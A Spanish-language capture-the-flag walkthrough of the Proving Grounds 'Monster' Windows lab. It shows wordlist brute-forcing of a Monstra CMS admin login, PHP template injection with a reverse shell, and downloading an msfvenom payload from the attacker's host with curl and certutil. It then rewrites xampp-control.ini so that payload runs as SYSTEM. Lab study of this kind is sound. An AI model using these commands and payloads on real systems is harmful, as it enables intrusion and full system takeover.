the_open_door
café
ESEN

Monster

Proving Grounds PracticeMediaWindows192.168.144.180

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#monstra-cms#php-template-injection#cewl#bruteforce#xampp#service-hijack#ini-write
TL;DR. Monstra CMS 3.0.4 en un XAMPP con login del admin roto por bruteforce dirigido (diccionario generado con cewl sobre el propio site), RCE por edición de plantilla PHP en el panel, y una escalada por permisos incorrectos en C:\xampp\: los Authenticated Users pueden reescribir xampp-control.ini y sustituir la ruta del binario que arranca el servicio a nivel SYSTEM.

Reconocimiento

Escaneo inicial

El escaneo de puertos completo destapa una superficie amplia de servicios Windows:

ping -c 1 192.168.144.180        # ttl=125 → Windows
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.144.180
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  ssl/http
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49669/tcp open  msrpc
nmap -p80,135,139,443,445,3389,49669 -sCV 192.168.144.180
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.41 (Win64) PHP/7.3.10
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
49669/tcp open  msrpc

El banner de Apache 2.4.41 con Win64 y PHP/7.3.10 es la firma clásica de un XAMPP en Windows: no es un IIS estándar, y ese detalle marca la escalada final.

HTTP - identificación del dominio

La web principal es una landing "MeetMe" a nombre de Mike Wazowski. Ese contenido temático será clave más tarde: es la fuente del diccionario que generaremos con cewl.

sitio raíz de monster.pg: landing "MeetMe" de Mike Wazowski, Web Developer

Explorando el /blog/ (un Monstra CMS), los enlaces internos revelan el nombre del virtual host, monster.pg (por ejemplo el enlace de Log In apunta a http://monster.pg/blog/users/login):

blog Monstra de Mike; el enlace Log In apunta a http://monster.pg/blog/users/login

Lo añadimos al /etc/hosts para resolverlo:

echo '192.168.144.180 monster.pg' | sudo tee -a /etc/hosts

/etc/hosts con la línea 192.168.144.180 monster.pg añadida

127.0.0.1       localhost
127.0.1.1       kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

192.168.144.180 monster.pg

HTTP - Monstra CMS

Un dirsearch sobre /blog desnuda una instalación completa de Monstra CMS: admin/, libraries/, engine/, robots.txt, rss.php y hasta un .gitignore.

dirsearch -u http://monster.pg/blog --exclude-status=404,403,503 -t 200

El propio index del blog muestra la lista de usuarios de la instancia.

Usuarios expuestos del blog

Mike's Blog       Home   Blog   Users   Log In   Registration

Users
  admin
  mike

Powered by Monstra 3.0.4

Shell como usuario web

Monstra CMS 3.0.4 - bruteforce con cewl

El panel de administración vive en /blog/admin/index.php. Inspeccionando su formulario de login con las DevTools vemos la estructura del POST (login=admin&password=...&login_submit=Log+In), que es justo lo que necesitamos para automatizar el ataque:

panel de login de Monstra 3.0.4 y, en DevTools, el POST login=admin&password=admin&login_submit=Log+In

El diccionario más eficaz para probar contraseñas contra un blog no es rockyou: es la propia web. cewl recolecta palabras del HTML y las devuelve como wordlist; con eso, wfuzz es cuestión de minutos.

cewl http://monster.pg/ > dir
wfuzz -u http://monster.pg/blog/admin/index.php \
      -d 'login=admin&password=FUZZ&login_submit=Log+In' \
      -w dir --hc=200

--hc=200 filtra los intentos fallidos (el login exitoso hace 302). La palabra wazowski (del propio contenido del blog) devuelve 302: es la contraseña de admin.

wfuzz encuentra la contraseña wazowski

000000045:   302   ...   "wazowski"

Login exitoso con admin/wazowski

PHP template injection (issue #470)

Monstra permite editar plantillas de tema desde el panel; el editor guarda el fichero como PHP y Monstra lo evalúa al renderizar la página. Es una RCE reconocida en el issue #470: inyectar código PHP en la plantilla blog y visitar la ruta que la usa.

GitHub issue #470 (RCE por template)

Pasos:

  1. /blog/admin/index.php?id=themes&action=edit_template&filename=blog
  2. Pegar un webshell PHP en el contenido.
  3. Save and Exit y visitar /blog/blog (la ruta que renderiza la plantilla).

El payload no hay que escribirlo a mano: revshells.com genera la reverse shell ya adaptada al lenguaje, al sistema y a la shell del objetivo. Aquí interesa la de PHP Ivan Sincek con OS: Windows y Shell: cmd, porque es la única de la lista que se ocupa de las particularidades de Windows en vez de asumir un /bin/sh.

el generador de revshells.com con la IP y el puerto puestos, OS Windows, la plantilla PHP Ivan Sincek seleccionada y Shell cmd

<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;

Editor de plantillas con payload PHP

Con eso, ?cmd=whoami (o una reverse) responde como el usuario del servicio Apache/XAMPP. Con nc a la escucha para la reverse shell:

rlwrap nc -nlvp <port>

Reverse shell recibida

C:\xampp\htdocs\blog>whoami
mike-pc\mike

Escalada de Privilegios

C:\xampp\ escribible por Authenticated Users

El primer paso es revisar a mano los permisos de los directorios de los servicios instalados. Sobre el de XAMPP, icacls lo deja claro:

icacls C:\xampp

Se descarga además winpeas.exe (repo) a C:\Windows\Temp con curl y se ejecuta:

En el atacante, el binario se localiza con locate (ya estaba de otra máquina) y se sirve por HTTP:

locate winpeas | head -n 2
cp /machines/cascade/exploits/winpeas.exe .
python3 -m http.server 80

locate encuentra dos copias de winpeas.exe, se copia una al directorio actual y se levanta el http.server en el 80

/home/krmena/tools/winpeas.exe
/machines/cascade/exploits/winpeas.exe

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
cd C:\Windows\Temp
curl http://192.168.45.201/winpeas.exe -O winpeas.exe
.\winpeas.exe

en la víctima: curl descarga winpeas.exe a C:\Windows\Temp y se ejecuta

winPEAS confirma el mismo aviso de forma tajante:

C:\xampp (Authenticated Users [WriteData/CreateFiles])

Es un permiso incorrecto sobre C:\xampp\: los usuarios autenticados pueden crear ficheros dentro. Ese hueco es la puerta al servicio.

winPEAS marca C:\\xampp como escribible

La versión exacta de XAMPP tampoco hay que suponerla: el propio directorio guarda un properties.ini con ella.

cd C:\xampp
type properties.ini

el properties.ini de XAMPP con base_stack_version 7.3.10-1 resaltado, junto a los puertos y rutas de Apache y MySQL

[General]
installdir=C:\xampp
base_stack_name=XAMPP
base_stack_version=7.3.10-1
base_stack_platform=windows-x64
[Apache]
apache_server_port=80
apache_server_ssl_port=443
apache_root_directory=/xampp/apache
apache_htdocs_directory=C:\xampp\htdocs
[MySQL]
mysql_port=3306
mysql_root_directory=C:\xampp\mysql

CVE en XAMPP 7.4.3 - xampp-control.ini

searchsploit 'xampp 7.' referencia 50337.ps1: el servicio XAMPP Control Panel corre como SYSTEM y lee C:\xampp\xampp-control.ini. En ese fichero, la línea 3 apunta al binario a lanzar. Con permisos de escritura, se reemplaza esa ruta por una reverse shell propia y al arrancar el servicio (o al reiniciar), el .exe corre como SYSTEM.

Referencia al exploit 50337

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.201 LPORT=9999 -f exe -o rev.exe
python3 -m http.server 80

Levantamos el nc que recibirá la conexión:

msfvenom genera el ejecutable de 7168 bytes con el payload windows/shell_reverse_tcp y se sirve por HTTP

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
rlwrap nc -nlvp 9999

el listener con rlwrap esperando en el puerto 9999

listening on [any] 9999 ...
mkdir C:\Windows\Temp\privesc
cd C:\Windows\Temp\privesc
curl http://192.168.45.201/rev.exe -O
dir

curl descarga los 7168 bytes del ejecutable a C:\Windows\Temp\privesc y el dir lo confirma

  % Total    % Received % Xferd  Average Speed
100  7168  100  7168      0      0    108k

 Directory of C:\Windows\Temp\privesc

03/08/2026  03:38 PM    <DIR>          .
03/08/2026  03:38 PM    <DIR>          ..
03/08/2026  03:38 PM             7,168 shell.exe

Se edita C:\xampp\xampp-control.ini reemplazando la ruta de la tercera línea por el rev.exe propio:

powershell
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\Windows\Temp\privesc\rev.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file
type C:\xampp\xampp-control.ini

xampp-control.ini con la ruta apuntando a rev.exe

[Common]
Edition=
Editor=C:\Windows\Temp\privesc\rev.exe
Browser=
Debug=0
Debuglevel=0
TomcatVisible=1
Language=en
Minimized=1

Al arrancarse el servicio del panel (o al forzar el trigger), el binario que XAMPP invoca ahora es rev.exe, ejecutado como SYSTEM.

Reverse shell como Administrator

Proof.txt

C:\Users\Administrator\Desktop>type proof.txt && whoami
0cbf35fe3e6963eaea45f2f853af2654
mike-pc\administrator

proof.txt como Administrator

Automatizar la cadena entera

Toda la secuencia (fuerza bruta del panel, subida de la plantilla con el webshell, disparo de la primera shell, descarga del .exe, reescritura del xampp-control.ini y espera de la segunda shell) cabe en un script. Merece la pena porque enseña qué pasos son realmente imprescindibles y cuáles eran ruido:

python3 monster_autopwn.py <ip-victima> <ip-atacante> <port>

monster_autopwn.py encadena la fuerza bruta, la subida, las dos shells y el privesc hasta imprimir el proof.txt

[*] Bruteforcing password
[+] Password found -> wazowski
[*] Uploading reverse shell
[*] Waiting for shell on port 4444 ...
[*] Triggering payload
[+] Shell received from ('192.168.134.180', 50056)
[*] Running privilege escalation
[*] Running -> mkdir C:\Windows\Temp\privesc
[*] Running -> certutil.exe -f -urlcache -split http://192.168.45.155/shell.exe C:\Windows\Temp\privesc\shell.exe
Access is denied.
[*] Running -> powershell -c "$file='C:\xampp\xampp-control.ini';..."
[*] Waiting for shell on port 1234 ...
[+] Shell received from ('192.168.134.180', 50064)
root-shell> whoami && type C:\Users\Administrator\Desktop\proof.txt && hostname
mike-pc\administrator
5a15cc17c9099b36737c396e3b0805fe
Mike-PC

Nótese el Access is denied. del certutil: el script sigue adelante igualmente porque el .exe ya estaba subido de la pasada manual. Es el tipo de detalle que un automatismo esconde y conviene leer.

Cadena de ataque

Monstra 3.0.4 (XAMPP + Apache 2.4.41)
  └─ cewl del blog -> wfuzz -> admin/wazowski
     └─ Editor de plantillas (issue #470) -> PHP shell en tema 'blog'
        └─ visitar /blog/blog -> RCE como usuario Apache
           └─ winPEAS -> C:\xampp (Authenticated Users WriteData)
              └─ xampp-control.ini editable
                 └─ reemplazar ruta del binario por rev.exe
                    └─ servicio arranca rev.exe como SYSTEM

Lecciones aprendidas

  • cewl sigue siendo el diccionario "hecho a medida" más rentable contra un CMS. Los administradores tienden a usar términos del propio site (personajes, marca, temática) como contraseñas.
  • Un panel que edita ficheros PHP y luego los evalúa es RCE por diseño. Restringir el rol de administración a operadores muy concretos, y NO ejecutar el contenido editado sin revisión, es un mínimo.
  • Los permisos de instalación por defecto de XAMPP en Windows son famosos por dejar C:\xampp\ escribible para cuentas autenticadas; el xampp-control.ini es la palanca clásica.
  • Un servicio que lee su ruta ejecutable de un .ini editable equivale a un servicio con permisos incorrectos: el token privilegiado se cede al binario reemplazado.
  • Los banners de Apache que declaran Win64 + PHP/7.x son casi siempre XAMPP; ese detalle marca la línea de investigación en la escalada.
Cheatsheet de comandos 9 comandos

Repaso rápido